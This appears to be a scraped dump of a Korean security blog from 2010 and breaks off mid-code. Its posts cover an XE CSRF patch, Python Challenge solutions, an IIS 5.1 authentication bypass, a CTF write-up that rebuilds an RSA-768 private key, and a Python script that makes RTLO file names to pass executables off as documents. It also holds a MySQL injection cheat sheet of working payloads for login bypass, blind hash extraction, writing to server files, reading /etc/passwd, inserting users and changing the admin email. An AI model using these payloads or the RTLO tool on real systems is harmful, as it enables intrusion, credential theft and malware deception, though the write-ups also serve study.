CSRF 취약점을 발견하여 리포팅을 하였습니다. 해당 건에 대해 8월 25일경에 패치가 나온것을 확인하여 기록용으로 남겨 둡니다.\n1 2 3 4 5 6 7 8 9 10 11 XE Core 1.4.3.1 changeset : r7598 ~ r7658 주요 변경 사항 CSRF 보안 취약점 수정 CSRF 보안 취약점이 발견되어 수정하였습니다. 해당 취약점을 알려주신 표경태님, 박영준님, 최영대님께 고맙다는 말씀드립니다. 해당 오류는 on* attribute가 사용이 가능하게 되는 것이고 XE 개발 과정에서 해당 코드가 정상동작하지 않아 발생된 문제였습니다. 이 문제는 r7630 에서 수정되어 커밋되었습니다. 자세한 내용을 보고자 하시는 분은 http://xe.xpressengine.net/?mid=issuetracker\u0026amp;act=dispIssuetrackerViewSource\u0026amp;type=compare\u0026amp;erev=7630 를 보시면 됩니다. https://xe1.xpressengine.com/devlog/19091866\n","date":"2010-09-07T18:07:22Z","permalink":"/2010/09/07/%EC%A0%9C%EB%A1%9C%EB%B3%B4%EB%93%9C-1431-%EB%B3%B4%EC%95%88%ED%8C%A8%EC%B9%98/","title":"제로보드 XE 1.4.3.1 보안패치"},{"content":"최근에 악성코드를 보다 신기한 것을 봐서 기록해 둡니다. 우선 현재 저희 윈도우 탐색기 옵션 상태 입니다. 옵션 중 \u0026quot;알려진 파일 형식의 파일 확장명 숨기기\u0026quot; 에는 체크가 해제가 되어 있습니다.\n그리고 제가 본 파일은 아래와 같습니다. 분명히 DOC 파일인데 아이콘이 이상합니다. 뭔가 수상해서 콘솔에서 다시 한번 확인해 보았습니다.\nSCR 파일이네요? 어떻게 이렇게 감출 수 있을까 고민하다 우선 해당 파일을 ZIP으로 압축 후 압축한 ZIP 파일을 Hex Editor로 열어 파일명을 확인해 보았습니다.\nE2 80 AE 라는 문제가 눈에 띄네요. 구글링을 해보니 아래와 같은 결과가 나왔습니다.\n1 2 3 4 UCS-4: 0000202E RIGHT-TO-LEFT OVERRIDE UTF-8: E2 80 AE GB-18030: 8136 A731 EBCDIC DC: 00424 RIGHT-TO-LEFT OVERRIDE 라는군요. 즉 이로 인해 윈도우 탐색기에서는 뒤의 확장자를 보여주지 못하는 것입니다. 예전에는 스페이스를 다수 삽입하여 확장자를 속이기도 하였는데 이건 정말 속을 수 밖에 없는거 같습니다.\n추가로 해당 파일을 생성할 수 있는 Python 코드를 작성해 보았습니다. 사용법은 \u0026quot;RTLO_gen.py 원본파일명\u0026quot; 형태로 하면 원본 파일명을 txt로 바꾸어 줍니다.\n1 2 3 4 5 6 7 8 9 #!/usr/bin/env python import shutil, sys if len(sys.argv) != 2: print \u0026#39;Usage : \u0026#39; + sys.argv[0] + \u0026#39; Filename\u0026#39; filename = sys.argv[1] name = filename.split(\u0026#39;.\u0026#39;) shutil.copyfile(filename, name[0] + \u0026#39;\\xe2\\x80\\xaetxt.\u0026#39; + name[1]) 해당 취약점은 윈도우 Explorer에 국한되는게 아니라 MSN 메신져나 브라우져 등 다양한 어플리케이션에서 나타날 것으로 보입니다. 추가로 해당 내용에 대해 좀 더 상세한 내용을 다룬 문서가 있어 링크를 걸어 놓습니다.\nhttp://packetstormsecurity.org/papers/general/righttoleften-override.pdf\n","date":"2010-07-24T21:49:26Z","permalink":"/2010/07/24/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C-%EB%AC%B8%EC%9E%90%EC%97%B4%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%ED%99%95%EC%9E%A5%EC%9E%90-%EA%B0%90%EC%B6%94%EA%B8%B0/","title":"유니코드 문자열을 이용하여 확장자 감추기"},{"content":"http://www.pythonchallenge.com/pc/hex/decent.html\n문제페이지 소스를 보면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;be a man - apologize!\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;center\u0026gt; \u0026lt;br\u0026gt; \u0026lt;img src=\u0026#34;decent.jpg\u0026#34;\u0026gt; \u0026lt;!-- you\u0026#39;ve got his e-mail --\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026lt;font color=\u0026#34;gold\u0026#34;/\u0026gt; Hurry up, I\u0026#39;m missing the boat \u0026lt;/font\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;!-- Join us at the IRC: irc.freenode.net #pythonchallenge --\u0026gt; 우선 주석 내용을 살펴보면 메일을 받았다고 한다. 이전 문제 중 메일과 관련된 문제는 19번 문제이다. 19번 문제 페이지의 소스를 보면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;please!\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt; \u0026lt;center\u0026gt; \u0026lt;font color=\u0026#34;gold\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;map.jpg\u0026#34; border=\u0026#34;0\u0026#34;/\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;!-- From: leopold.moz@pythonchallenge.com Subject: what do you mean by \u0026#34;open the attachment?\u0026#34; Mime-version: 1.0 Content-type: Multipart/mixed; boundary=\u0026#34;===============1295515792==\u0026#34; It is so much easier for you, youngsters. Maybe my computer is out of order. I have a real work to do and I must know what\u0026#39;s inside! --===============1295515792== Content-type: audio/x-wav; name=\u0026#34;indian.wav\u0026#34; Content-transfer-encoding: base64 UklGRvyzAQBXQVZFZm10IBAAAAABAAEAESsAACJWAAACABAAZGF0YdizAQBABkAMQAtAAEADQAJA BEAEQAJAAkAGQAVABUAEQApAC0AJQAhAD0APQANADUAFQAVAD0AEQA5ADUAGQAlAAj8PQAVABkAE QAJACUAFQAQ/CkAKQAg/BEAMQAo/AEABQANABEAAPw1ADEAOPwZADkAHPwBADj8OQAhABT8IQARA . . [생략] . . j8QQAE/DD8DPwk/AkAMQA0/EEAIQA4/Bj8LPw8/AkAQQAo/BD8OQAI/Dj8APwFACz8BPwhA Bj8HPwdABT8BQApABj8BQA9AAT8IQA0/Dj8EQAk/A0AHQAw/EEAPQAM/AkANPw8/AUAAPwBAB0AA PwRACEAGPwpADj8JQBA= --===============1295515792==-- --\u0026gt; 메일이 내용이 있으며 보낸이가 leopold.moz@pythonchallenge.com 이다. 문제 내용에서 사과하라고 했으니 저 메일로 제목과 내용에 \u0026quot;apologize\u0026quot; 라고 하여 메일을 보내었더니 아래와 같은 메일이 도착하였다.\n1 2 3 4 5 6 7 Never mind that. Have you found my broken zip? md5: bbb8b499a0eef99b52c7f13f4e78c24b Can you believe what one mistake can lead to? broken.zip 파일을 찾으라고 하는데... broken.zip 은 이전 24번 문제에서 뽑은 zip 파일 내부에 maze.jpg 파일과 같이 있었던 파일이다. 24번 문제의 broken.zip 파일을 압축을 해제하면 아래와 같은 이미지가 나타난다. (원래 해당 ZIP 파일은 깨진 파일이나 7Zip 에서는 잘 풀어준다 -_-; )\n따라서 다음 레벨 주소가 http://www.pythonchallenge.com/pc/hex/speed.html 일줄 알았으나 그건 아니였다. 다시 문제 페이지를 보면 boat라는 단어가 있어 http://www.pythonchallenge.com/pc/hex/speedboat.html 로 접속해보니 다음 레벨 페이지가 존재하였다.\n","date":"2010-07-14T08:32:47Z","permalink":"/2010/07/14/the-python-challenge-level-26/","title":"The Python Challenge - Level 26"},{"content":"http://www.pythonchallenge.com/pc/hex/lake.html\n이번 레벨은 너무 어려웠다. 우선 문제 페이지의 소스를 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;imagine how they sound\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;center\u0026gt; \u0026lt;br\u0026gt; \u0026lt;br\u0026gt; \u0026lt;img src=\u0026#34;lake1.jpg\u0026#34;\u0026gt; \u0026lt;!-- can you see the waves? --\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 주석을 보면 waves 가 보이냐고 한다. 이 부분에서 lake1.jpg 가 아닌 lake1.wav 파일이 있다는 것을 유추해내어야 한다 -_-; 뭐 일단 그리해서 lake1.wav, lake2.wav 로 해서 계속 받아진다. 어디까지 받아 질지 알 수 없어 아래와 같은 코드를 작성하였다.\n1 2 3 4 5 6 7 #!/usr/bin/env python import os count = 1 while 1: os.system(\u0026#39;wget --http-user=butter --http-password=fly http://www.pythonchallenge.com/pc/hex/lake\u0026#39; + str(count) + \u0026#39;.wav\u0026#39;) count += 1 위 코드로 파일을 받으면 lake1.wav ~ lake25.wav 까지 있음을 확인할 수 있다. 이제 해당 파일로 문제를 풀어내어야 한다. 일단 힌트상의 그림을 보면 직소 퍼즐이다. 그리고 주어진 wav 파일이 25개 인걸로 봐서 뭔가 이 파일들로 맞추어야 함을 알 수 있다.\n이번 문제는 wave 모듈을 이용하는 문제로 wav 파일에서 Frame 을 읽어 이미지로 바꾸는 작업을 하여야 한다. 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/env python import wave, Image img = Image.new(\u0026#39;RGB\u0026#39;, (300,300), 0) posx = 0 posy = 0 for x in range(1, 26): w = wave.open(\u0026#39;lake%d.wav\u0026#39; % x, \u0026#39;r\u0026#39;) data = w.readframes(w.getnframes()) tmp = Image.fromstring(\u0026#39;RGB\u0026#39;, (60, 60), data) if (x-1) % 5 == 0 and (x-1) != 0: posx = 0 posy += 1 img.paste( tmp, (posx*60, posy*60) ) posx += 1 img.show() 위 코드를 실행하면 아래와 같은 이미지가 생성된다.\n이번 문제는 힌트없이 풀기엔 너무 어려운거 같다... 힌트없이 푼 바다형은 좀 짱인듯 -_-\n","date":"2010-07-13T15:45:15Z","permalink":"/2010/07/13/the-python-challenge-level-25/","title":"The Python Challenge - Level 25"},{"content":"Description:\nThis vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS\nauthentication methods can be circumvented. In this technique, we can add a “:$i30:$INDEX_ALLOCATION” to a directory name to bypass the authentication.\nDownload:\nhttp://www.exploit-db.com/sploits/IIS5.1_Authentication_Bypass.pdf\n","date":"2010-07-03T01:04:47Z","permalink":"/2010/07/03/microsoft-internet-information-services-5-authentication-bypass-vulnerability/","title":"Microsoft Internet Information Services 5 Authentication Bypass Vulnerability"},{"content":"난독화 된 스크립트 복호화 시 alert 창을 띄워서 확인도 가능하지만 아래와 같이 textarea를 이용하여 확인도 가능하다.\n1 2 3 4 5 6 \u0026lt;form name=\u0026#34;TEST\u0026#34;\u0026gt; \u0026lt;textarea name=\u0026#34;TEST\u0026#34; cols=\u0026#34;100\u0026#34; rows=\u0026#34;100\u0026#34;\u0026gt; \u0026lt;/textarea\u0026gt; \u0026lt;/form\u0026gt; TEST.TEST.value = 문자열; 추가로 파일에 기록해야 할 필요가 있을 경우 아래와 같이 함수를 작성하여 사용하면 된다.\n1 2 3 4 5 6 7 function filewriter(text) { var fileObject = new ActiveXObject(\u0026#34;Scripting.FileSystemObject\u0026#34;); fWrite = fileObject.CreateTextFile(\u0026#34;C:\\Users\\ByJJoon\\Downloads\\1.txt\u0026#34;, true); fWrite.write(text); fWrite.close(); } ","date":"2010-06-30T04:19:07Z","permalink":"/2010/06/30/%EB%82%9C%EB%8F%85%ED%99%94-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%99%95%EC%9D%B8-%ED%8C%81/","title":"난독화 스크립트 확인 팁"},{"content":"MySQL Injection Cheat Sheet\nBasics. 1 2 3 SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE \u0026#34;%root%\u0026#34; Variations. 1 2 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE \u0026#34;%root%\u0026#34; SHOW TABLES 1 2 3 4 5 SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators 1 2 3 SELECT 1 \u0026amp;\u0026amp; 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate 1 2 3 4 all render TRUE or 1. SELECT 0.1 \u0026lt;= 2; SELECT 2 \u0026gt;= 2; SELECT ISNULL(1/0); Math 1 2 SELECT FLOOR(7 + (RAND() * 5)); SELECT ROUND(23.298, -1); Misc 1 2 SELECT LENGTH(COMPRESS(REPEAT(\u0026#39;a\u0026#39;,1000))); SELECT MD5(\u0026#39;abc\u0026#39;); Benchmark 1 2 3 4 5 6 7 8 SELECT BENCHMARK(10000000,ENCODE(\u0026#39;abc\u0026#39;,\u0026#39;123\u0026#39;)); this takes around 5 sec on a localhost SELECT BENCHMARK(1000000,MD5(CHAR(116))) this takes around 7 sec on a localhost SELECT BENCHMARK(10000000,MD5(CHAR(116))) this takes around 70 sec on a localhost Using the timeout to check if user exists 1 2 SELECT IF( user = \u0026#39;root\u0026#39;, BENCHMARK(1000000,MD5( \u0026#39;x\u0026#39; )),NULL) FROM login Beware of of the N rounds, add an extra zero and it could stall or crash your browser! Gathering info Table mapping 1 SELECT COUNT(*) FROM tablename Field mapping 1 2 3 4 SELECT * FROM tablename WHERE user LIKE \u0026#34;%root%\u0026#34; SELECT * FROM tablename WHERE user LIKE \u0026#34;%\u0026#34; SELECT * FROM tablename WHERE user = \u0026#39;root\u0026#39; AND id IS NOT NULL; SELECT * FROM tablename WHERE user = \u0026#39;x\u0026#39; AND id IS NULL; User mapping 1 2 3 SELECT * FROM tablename WHERE email = \u0026#39;user@site.com\u0026#39;; SELECT * FROM tablename WHERE user LIKE \u0026#34;%root%\u0026#34; SELECT * FROM tablename WHERE user = \u0026#39;username\u0026#39; Advanced SQL vectors Writing info into files 1 2 SELECT password FROM tablename WHERE username = \u0026#39;root\u0026#39; INTO OUTFILE \u0026#39;/path/location/on/server/www/passes.txt\u0026#39; Writing info into files without single quotes: (example) 1 2 3 4 5 6 SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) Note: You must specify a new file, it may not exist! and give the correct pathname! The CHAR() quoteless function 1 2 3 4 SELECT * FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) SELECT * FROM login WHERE user = CHAR(39,97,39) Extracting hashes 1 2 3 SELECT user FROM login WHERE user = \u0026#39;root\u0026#39; UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5(\u0026#39;x\u0026#39;)),null) FROM login example:\n1 2 3 4 5 6 7 SELECT user FROM login WHERE user = \u0026#39;admin\u0026#39; UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97), BENCHMARK(1000000,MD5(\u0026#39;x\u0026#39;)),null) FROM login SELECT user FROM login WHERE user = \u0026#39;admin\u0026#39; UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(\u0026#39;x\u0026#39;)),null) FROM login explaining: (passwordfield,startcharacter,selectlength) 1 2 3 is like: (password,1,2) this selects: ‘ab’ is like: (password,1,3) this selects: ‘abc’ is like: (password,1,4) this selects: ‘abcd’ A quoteless example: 1 2 3 4 5 6 SELECT user FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login Possible chars: 0 to 9 ? ASCII 48 to 57 ~ a to z ? ASCII 97 to 122 Misc Insert a new user into DB 1 INSERT INTO login SET user = \u0026#39;r00t\u0026#39;, pass = \u0026#39;abc\u0026#39; Retrieve /etc/passwd file, put it into a field and insert a new user 1 2 3 4 load data infile \u0026#34;/etc/passwd\u0026#34; INTO table login (profiletext, @var1) SET user = \u0026#39;r00t\u0026#39;, pass = \u0026#39;abc\u0026#39; Then login! Write the DB user away into tmp 1 SELECT host,user,password FROM user into outfile \u0026#39;/tmp/passwd\u0026#39;; Change admin e-mail, for “forgot login retrieval.” 1 UPDATE users set email = \u0026#39;mymail@site.com\u0026#39; WHERE email = \u0026#39;admin@site.com\u0026#39;; Bypassing PHP functions (MySQL 4.1.x before 4.1.20 and 5.0.x)\nBypassing addslashes() with GBK encoding 1 WHERE x = 0xbf27admin 0xbf27 Bypassing mysql_real_escape_string() with BIG5 or GBK 1 2 3 4 \u0026#34;injection string\u0026#34; に?する追加情報： the above chars are Chinese Big5 Advanced Vectors Using an HEX encoded query to bypass escaping. 1 2 3 4 5 Normal: SELECT * FROM login WHERE user = \u0026#39;root\u0026#39; Bypass: SELECT * FROM login WHERE user = 0x726F6F74 Inserting a new user in SQL. 1 2 3 4 5 Normal: insert into login set user = ‘root’, pass = ‘root’ Bypass: insert into login set user = 0x726F6F74, pass = 0x726F6F74 How to determin the HEX value for injection. 1 2 3 4 5 6 7 8 SELECT HEX(\u0026#39;root\u0026#39;); gives you: 726F6F74 then add: 0x before it. ","date":"2010-06-28T06:00:56Z","permalink":"/2010/06/28/mysql-injection-cheat-sheet/","title":"MySQL Injection Cheat Sheet"},{"content":"패킷 덤프 파일이 주어지고 SSL 관련 문제를 푸는 문제가 많이 보인다. 이런 문제들은 접해본 경험이 없어 풀이를 보고 따라 푸는 것으로 이해하는 수 밖에... :-(\n이제 풀이를 시작해 보도록 하자. 우선 해당 패킷에서 공개키 부분을 추출하도록 한다.\n추출을 한 후 아래와 같이 OpenSSL을 이용하여 어떤 알고리즘으로 되어 있는지 확인할 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 C:\\Users\\ByJJoon\\Downloads\u0026gt;openssl.exe x509 -inform DER -in test.der -text Certificate: Data: Version: 3 (0x2) Serial Number: d7:08:17:fc:61:41:b3:1c Signature Algorithm: sha1WithRSAEncryption Issuer: C=KR, ST=Seoul, L=Seoul, O=CodeGate, OU=LM**2, CN=ctf1.codegate.org Validity Not Before: Mar 11 19:28:25 2010 GMT Not After : Mar 11 19:28:25 2011 GMT Subject: C=KR, ST=Seoul, L=Seoul, O=CodeGate, OU=LM**2, CN=ctf1.codegate.org Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (768 bit) Modulus (768 bit): 00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27: f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29: 84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40: 1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0: df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97: 6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5: 2f:46:2e:79:41:3d:b5 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 3E:35:CC:D2:D9:A5:5E:B7:E7:9C:03:E4:40:30:3A:9E:B3:BD:9D:F6 X509v3 Authority Key Identifier: keyid:3E:35:CC:D2:D9:A5:5E:B7:E7:9C:03:E4:40:30:3A:9E:B3:BD:9D:F6 DirName:/C=KR/ST=Seoul/L=Seoul/O=CodeGate/OU=LM**2/CN=ctf1.codegate.org serial:D7:08:17:FC:61:41:B3:1C X509v3 Basic Constraints: CA:TRUE Signature Algorithm: sha1WithRSAEncryption 75:e9:15:ba:b2:b9:ec:d0:ef:ec:fd:27:44:a7:d9:0a:e6:ad: 84:57:8d:5f:3e:9b:97:0d:34:cb:d7:d4:2b:2e:9f:8d:d6:51: a2:7c:cf:c1:5d:47:5a:83:1b:89:fd:f5:da:32:c9:73:00:2a: 58:8f:9a:bc:e7:fb:fe:69:0c:70:bd:a2:3f:01:4a:d1:95:8d: 4e:b4:6a:f1:83:dc:4d:97:e0:6f:e7:89:86:24:80:19:af:22: b2:cd:7e:d0:8f:4e -----BEGIN CERTIFICATE----- MIIC4zCCAm2gAwIBAgIJANcIF/xhQbMcMA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNV BAYTAktSMQ4wDAYDVQQIEwVTZW91bDEOMAwGA1UEBxMFU2VvdWwxETAPBgNVBAoT CENvZGVHYXRlMQ4wDAYDVQQLFAVMTSoqMjEaMBgGA1UEAxMRY3RmMS5jb2RlZ2F0 ZS5vcmcwHhcNMTAwMzExMTkyODI1WhcNMTEwMzExMTkyODI1WjBsMQswCQYDVQQG EwJLUjEOMAwGA1UECBMFU2VvdWwxDjAMBgNVBAcTBVNlb3VsMREwDwYDVQQKEwhD b2RlR2F0ZTEOMAwGA1UECxQFTE0qKjIxGjAYBgNVBAMTEWN0ZjEuY29kZWdhdGUu b3JnMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAMrZhFV8l+A5Qxoiatcn8MbUPvPU GEafGzdQSbIphD7p+Dsfl3OKwnT19h9AHyHxkT5LZLsxtVo405jA3+0AsTkvCIlx HESzWeeXbGF/zHNPBuPpXCZHYJG1L0YueUE9tQIDAQABo4HRMIHOMB0GA1UdDgQW BBQ+NczS2aVet+ecA+RAMDqes72d9jCBngYDVR0jBIGWMIGTgBQ+NczS2aVet+ec A+RAMDqes72d9qFwpG4wbDELMAkGA1UEBhMCS1IxDjAMBgNVBAgTBVNlb3VsMQ4w DAYDVQQHEwVTZW91bDERMA8GA1UEChMIQ29kZUdhdGUxDjAMBgNVBAsUBUxNKioy MRowGAYDVQQDExFjdGYxLmNvZGVnYXRlLm9yZ4IJANcIF/xhQbMcMAwGA1UdEwQF MAMBAf8wDQYJKoZIhvcNAQEFBQADYQB16RW6srns0O/s/SdEp9kK5q2EV41fPpuX DTTL19QrLp+N1lGifM/BXUdagxuJ/fXaMslzACpYj5q85/v+aQxwvaI/AUrRlY1O tGrxg9xNl+Bv54mGJIAZryKyzX7Qj04= -----END CERTIFICATE----- RSA 768bit로 암호화 되어 있음을 알 수 있다. RSA 768bit 는 이미 소인수분해가 성공되었다. 아래 위키피디아 페이지에서 인수분해가 성공된 RSA 알고리즘을 확인할 수 있다. http://en.wikipedia.org/wiki/RSA_numbers\nRSA-768 의 P, Q 값은 아래와 같다.\nP-33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489 Q-36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917\n이 제 P, Q 값을 확인하였으니 비밀키를 생성해 보도록 하자. 생성하는 코드는 Didier Stevens' Authenticode Challenge 의 풀이에 나오는 코드를 그대로 사용할 수 있다.\nDidier Stevens' Authenticode Challenge : http://blog.didierstevens.com/2008/07/22/authenticode-challenge/ 풀이 : http://blog.didierstevens.com/2008/09/07/mister-p-and-qs-excellent-solution/\n파일 : solution\nCreatePEM.c\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 /********************************************************************** This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ************************************************************************ (c) 2008 by Mister P and Q \u0026lt; Mister.PandQ@gmail.com \u0026gt; ***********************************************************************/ #define _GNU_SOURCE #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026#34;e_os.h\u0026#34; #include \u0026lt;openssl/bio.h\u0026gt; #include \u0026lt;openssl/ssl.h\u0026gt; #include \u0026lt;openssl/bn.h\u0026gt; #include \u0026lt;openssl/crypto.h\u0026gt; #ifndef OPENSSL_NO_ENGINE #include \u0026lt;openssl/engine.h\u0026gt; #endif // This is a modified version of the genrsa.c sample that is part of the OpenSSL package int main(int argc, char *argv[]) { BIGNUM *p_tBNExp = NULL; RSA *p_tRSAKey = NULL; BN_CTX *ctx = NULL; BIGNUM *r0=NULL,*r1=NULL,*r2=NULL,*r3=NULL,*tmp; BIGNUM local_r0,local_d,local_p; BIGNUM *pr0,*d,*p; BIO *out; unsigned long f4 = RSA_F4; int ok = -1; // The two values we obtained from FindPQ or msieve char *p_acP = \u0026#34;33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489\u0026#34;; char *p_acQ = \u0026#34;36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917\u0026#34;; // Init OpenSSL CRYPTO_malloc_init(); ERR_load_crypto_strings(); OpenSSL_add_all_algorithms(); ENGINE_load_builtin_engines(); ctx=BN_CTX_new(); BN_CTX_start(ctx); r0 = BN_CTX_get(ctx); r1 = BN_CTX_get(ctx); r2 = BN_CTX_get(ctx); r3 = BN_CTX_get(ctx); if (r3 == NULL) goto err; p_tBNExp = BN_new(); p_tRSAKey = RSA_new(); BN_set_word(p_tBNExp, f4); /* We need the RSA components non-NULL */ if(!p_tRSAKey-\u0026gt;n \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;n=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;d \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;d=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;e \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;e=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;p \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;p=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;q \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;q=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;dmp1 \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;dmp1=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;dmq1 \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;dmq1=BN_new()) == NULL)) goto err; if(!p_tRSAKey-\u0026gt;iqmp \u0026amp;\u0026amp; ((p_tRSAKey-\u0026gt;iqmp=BN_new()) == NULL)) goto err; // Copy the defauld (F4) exponent to the RSA key BN_copy(p_tRSAKey-\u0026gt;e, p_tBNExp); // Convert the 2 decimal values for P and Q to the RSA key BN_dec2bn(\u0026amp;p_tRSAKey-\u0026gt;p, p_acP); BN_dec2bn(\u0026amp;p_tRSAKey-\u0026gt;q, p_acQ); // If P is bigger van Q, swap values if (BN_cmp(p_tRSAKey-\u0026gt;p,p_tRSAKey-\u0026gt;q) \u0026lt; 0) { tmp=p_tRSAKey-\u0026gt;p; p_tRSAKey-\u0026gt;p=p_tRSAKey-\u0026gt;q; p_tRSAKey-\u0026gt;q=tmp; } /* calculate n */ if (!BN_mul(p_tRSAKey-\u0026gt;n,p_tRSAKey-\u0026gt;p,p_tRSAKey-\u0026gt;q,ctx)) goto err; /* calculate d */ if (!BN_sub(r1,p_tRSAKey-\u0026gt;p,BN_value_one())) goto err; /* p-1 */ if (!BN_sub(r2,p_tRSAKey-\u0026gt;q,BN_value_one())) goto err; /* q-1 */ if (!BN_mul(r0,r1,r2,ctx)) goto err; /* (p-1)(q-1) */ if (!(p_tRSAKey-\u0026gt;flags \u0026amp; RSA_FLAG_NO_CONSTTIME)) { pr0 = \u0026amp;local_r0; BN_with_flags(pr0, r0, BN_FLG_CONSTTIME); } else pr0 = r0; if (!BN_mod_inverse(p_tRSAKey-\u0026gt;d,p_tRSAKey-\u0026gt;e,pr0,ctx)) goto err; /* d */ /* set up d for correct BN_FLG_CONSTTIME flag */ if (!(p_tRSAKey-\u0026gt;flags \u0026amp; RSA_FLAG_NO_CONSTTIME)) { d = 